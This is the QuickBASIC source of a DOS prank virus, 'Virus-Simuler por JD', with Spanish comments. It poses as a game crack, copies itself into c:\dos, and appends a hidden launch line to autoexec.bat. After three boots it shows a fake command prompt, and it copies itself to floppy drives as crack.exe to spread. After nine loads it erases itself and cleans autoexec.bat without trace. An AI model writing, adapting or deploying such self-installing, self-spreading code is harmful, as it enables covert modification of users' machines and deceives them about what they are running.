DECLARE FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%) DECLARE SUB borradelauto () DECLARE SUB copiarac (est) DECLARE SUB aumentacarga (global) DECLARE SUB Simulador () inicio: DIM SHARED virus, c AS INTEGER, global, fc$(100) CONST TRUE = -1 CONST FALSE = NOT TRUE veza = 0: vezb = 0 ON ERROR GOTO errores OPEN "c:\dos\cargas.dat" FOR INPUT AS #1 CLOSE glob = est aumentacarga (glob) IF virus <> 1 THEN GOTO finprog 'Si el virus es distinto de 1 ( off ) 'el programa se aborta. '***** simulador ***** REDIM Curr$(19), One$(19), Two$(19), Three$(19), Four$(19), Five$(19) PRINT row% = CSRLIN - 1 hud = 80 old$ = TIME$ Simulador: row% = row% + 1 a$ = "" hud = hud + 1 IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$ PRINT promt$ = "C:\" + LTRIM$(RTRIM$(ch$)) + ">" 'PRINT promt$: Kbd$ = GetString$(promt$, end$, 80, 80, LEN(promt$), col%) IF RTRIM$(LTRIM$(UCASE$(end$))) = "JD_EXIT" THEN CLS LOCATE 5, 5: PRINT " EL FIN DE TU PESADILLA !!! , Nueva versi¢n en marcha." borradelauto SHELL "del c:\dos\cargas.dat >nul" SHELL "del c:\dos\tempi.bin >nul" SHELL "del c:\dos\TEMPI.exe >nul" SYSTEM END END END END IF a$ = end$ '*******------------**********------------*********---------**********----- IF RTRIM$(LTRIM$(a$)) = "" THEN GOTO Simulador IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO Simulador IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT : PRINT "Omisi¢n de parametros": PRINT : GOTO Simulador IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO Simulador con = 0: L = 0: lug = 0: p = 0 DO con = con + 1 L = L - 1 IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO Simulador IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$))) LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$))) IF p = 1 THEN ch$ = "": vez = 0: GOTO Simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO Simulador END IF IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN sum = 0: l2 = 4 DO sum = sum + 1 l2 = l2 + 1 IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador END IF IF LEFT$(UCASE$(a$), 2) = "CD" THEN sum = 0: l2 = 4 DO sum = sum + 1 l2 = l2 + 1 IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador END IF '******************************************** 'COPIAR DESDE AQUI SI NO SE A¥ADE NADA ARRIBA '******************************************** RESTORE b$ = "" w$ = UCASE$(LTRIM$(RTRIM$(a$))) RESTORE datas WHILE b$ <> "*" READ b$, wqw$ IF RTRIM$(LEFT$(w$, 4)) = b$ OR RTRIM$(LEFT$(w$, 2)) = b$ THEN GOTO accion WEND a = 1: b = 0 DO WHILE b <= LEN(w$) + 1 b = b + 1 IF MID$(w$, b, 1) = " " THEN pal$ = LEFT$(w$, b): EXIT DO LOOP valor = 0 q1 = 0: q2 = 0: q3 = 0: q4 = 0: q5 = 0 pal$ = w$ OPEN "c:\dos\tempi.bin" FOR RANDOM AS #1 LEN = 113 FIELD #1, 10 AS IoDate$, 20 AS IoRef$, 20 AS IoDos$, 20 AS IoTres$, 20 AS IoCuatro$, 20 AS IoCinco$ FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$ GET #1, 1 IF valid$ = "*" THEN MaxRecord = VAL(IoMaxRecord$) ra = 1 DO WHILE ra <= MaxRecord GET #1, ra + 1 Curr$ = IoDate$ One$ = IoRef$ Two$ = IoDos$ Three$ = IoTres$ Four$ = IoCuatro$ Five$ = IoCinco$ IF RTRIM$(LTRIM$(pal$)) = RTRIM$(LTRIM$(UCASE$(Curr$))) THEN IF RIGHT$(RTRIM$(One$), 1) = "?" THEN PRINT : PRINT One$; : INPUT p$ ELSE PRINT : PRINT : PRINT One$; IF RIGHT$(RTRIM$(Two$), 1) = "?" THEN PRINT Two$; : INPUT "", p$: q1 = 1 IF MID$(Two$, 2, 1) = "#" THEN IF RIGHT$(Two$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Two$, 3, 18); : Q = 1 IF q1 = 0 THEN PRINT Two$ IF RIGHT$(RTRIM$(Three$), 1) = "?" THEN PRINT : PRINT Three$; : INPUT "", p$: q2 = 1 IF MID$(Three$, 2, 1) = "#" THEN q2 = 1: IF LEFT$(Three$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Three$, 3, 18); : q2 = 1 IF q2 = 0 THEN PRINT Three$ IF RIGHT$(RTRIM$(Four$), 1) = "?" THEN PRINT : PRINT Four$; : INPUT "", p$: q3 = 1 IF MID$(Four$, 2, 1) = "#" THEN q3 = 1: IF LEFT$(Four$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Four$, 3, 18); IF q3 = 0 THEN PRINT Four$ IF RIGHT$(RTRIM$(Five$), 1) = "?" THEN PRINT : PRINT Five$; : INPUT "", p$: q4 = 1 IF MID$(Five$, 2, 1) = "#" THEN q4 = 1: IF LEFT$(Five$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Five$, 3, 18); IF q4 = 0 THEN PRINT Five$ valor = 1 EXIT DO END IF ra = ra + 1 LOOP END IF CLOSE IF valor = 0 THEN PRINT : PRINT "Comando o nombre de archivo incorrecto" GOTO Simulador accion: SELECT CASE VAL(wqw$) CASE 1 PRINT : PRINT PRINT " Volumen en unidad C no tiene etiqueta" PRINT " N£mero de serie de volumen es 1138-1600" PRINT PRINT " Directorio de C:\" + ch$ PRINT PRINT "Archivo no se encontr¢" PRINT GOTO Simulador CASE 2 PRINT : PRINT "Imposible acceder a unidad requerida" GOTO Simulador CASE 3 CLS PRINT GOTO Simulador CASE 4 PRINT : PRINT "Fichero no encontrado" GOTO Simulador CASE 5 COLOR 6 PRINT : PRINT "Virus-Simuler por JD" COLOR 7 GOTO Simulador CASE 6 PRINT : PRINT TIME$: GOTO Simulador CASE 7 PRINT : PRINT DATE$: GOTO Simulador CASE 8 IF veza = 0 THEN SHELL "copy c:\dos\tempi.exe a:crack.exe >nul": SHELL "copy c:\dos\tempi.bin a:crack.dat >nul" PRINT PRINT "Cable de enlace con la unidad A, suelto" veza = 1 GOTO Simulador CASE 9 IF vezb = 0 THEN SHELL "copy c:\dos\tempi.exe b:crack.exe >nul": SHELL "copy c:\dos\tempi.bin b:crack.dat >nul" PRINT PRINT "Cable de enlace con la unidad B, suelto" vezb = 1 GOTO Simulador END SELECT PRINT wqw$ GOTO Simulador END finprog: IF est = 1 THEN COLOR 5: LOCATE 15, 10: PRINT "Juego CRACKEADO ::: .. :::" 'system END errores: IF ERR = 53 THEN copiarac (1) RESUME NEXT datas: DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7,"A:",8,"B:",9 DATA *,* SUB aumentacarga (global) OPEN "c:\dos\cargas.dat" FOR INPUT AS #1 INPUT #1, carga$ CLOSE carga$ = STR$(VAL(carga$) + 1) OPEN "c:\dos\cargas.dat" FOR OUTPUT AS #1 WRITE #1, carga$ CLOSE ' El virus se activara cuando el contador sea mayor de 3 y se 'auto-eliminara cuando alcance un n£mero m ximo de 9 cargas. IF VAL(carga$) > 3 THEN virus = 1 IF VAL(carga$) >= 9 THEN borradelauto KILL "cargas.dat" KILL "c:\dos\tempi.bin" KILL "c:\dos\TEMPI.exe" END IF END SUB SUB borradelauto 'El proceso de borrado es complicado, hay que modificar apartir de las 'secuencias de grabado de datos las entradas o bytes donde se encuentra 'nuestra linea "intrusa", para eliminarla sin dejar rastro en el auto. OPEN "c:\autoexec.bat" FOR INPUT AS #1 Q = 0 DO Q = Q + 1 LINE INPUT #1, fc$(Q) IF RTRIM$(LTRIM$(fc$(Q))) = "@echo off" THEN valor = 1 IF valor = 1 AND RTRIM$(LTRIM$(fc$(Q))) = "c:\dos\TEMPI" THEN CLOSE #1: GOTO grabar LOOP WHILE NOT EOF(1) CLOSE #1 GOTO finh grabar: c = Q - 22 SHELL "c:\dos\attrib -h -r c:\autoexec.bat >nul" SHELL "del c:\autoexec.bat >nul" OPEN "c:\autoexec.bat" FOR APPEND AS #2 c = Q - 22 FOR Q = 1 TO c PRINT #2, fc$(Q) NEXT Q CLOSE #2 finh: END SUB SUB copiarac (est) ' Ahora deber¡a auto-copiarse este programa a la unidad C ' e instalarse, en el archivo autoexec.bat CLS bit = 0 LOCATE 5, 5: COLOR 5: PRINT "Por favor, espere..." LOCATE 7, 5: COLOR 7: PRINT "Crackeando juego... ::: .. :::" COLOR 12 SHELL "copy crack.exe c:\dos\tempi.exe >nul" SHELL "copy crack.dat c:\dos\tempi.bin >nul" SHELL "c:\dos\attrib -r c:\autoexec.bat >nul" OPEN "c:\autoexec.bat" FOR APPEND AS #1 FOR a = c TO c + 20 PRINT #1, CHR$(13) NEXT a PRINT #1, "@echo off" PRINT #1, "c:\dos\TEMPI" CLOSE #1 COLOR 7 IF est = 1 THEN est = 1 END SUB DEFINT A-Z 'GetString$: ' Given a row and col, and an initial string, edit a string ' VIS is the length of the visible field of entry ' MAX is the maximum number of characters allowed in the string ' ' FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%) PRINT start$; IF Curr$ = CHR$(8) THEN Curr$ = "" LOCATE , , 1 finished = FALSE DO GOSUB GetStringShowText2 GOSUB GetStringGetKey2 IF LEN(Kbd$) > 1 THEN finished = TRUE GetString2$ = Kbd$ ELSE SELECT CASE Kbd$ CASE CHR$(13), CHR$(27), CHR$(9) finished = TRUE GetString2$ = Kbd$ CASE CHR$(8) IF Curr$ <> "" THEN Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) IF LEN(Curr$) >= 0 THEN LOCATE CSRLIN, POS(0) - 1: PRINT " "; IF LEN(Curr$) >= 1 THEN LOCATE CSRLIN, POS(0) - 2 ELSE LOCATE CSRLIN, POS(0) - 1 END IF END IF CASE " " TO "}" IF LEN(Curr$) < Max THEN Curr$ = Curr$ + Kbd$ ELSE BEEP END IF CASE ELSE BEEP END SELECT END IF LOOP UNTIL finished end$ = Curr$ LOCATE , , 0 EXIT FUNCTION GetStringShowText2: IF LEN(Curr$) > Vis THEN PRINT RIGHT$(Curr$, Vis); ELSE PRINT RIGHT$(Curr$, 1); END IF RETURN GetStringGetKey2: Kbd$ = "" WHILE Kbd$ = "" Kbd$ = INKEY$ WEND RETURN END FUNCTION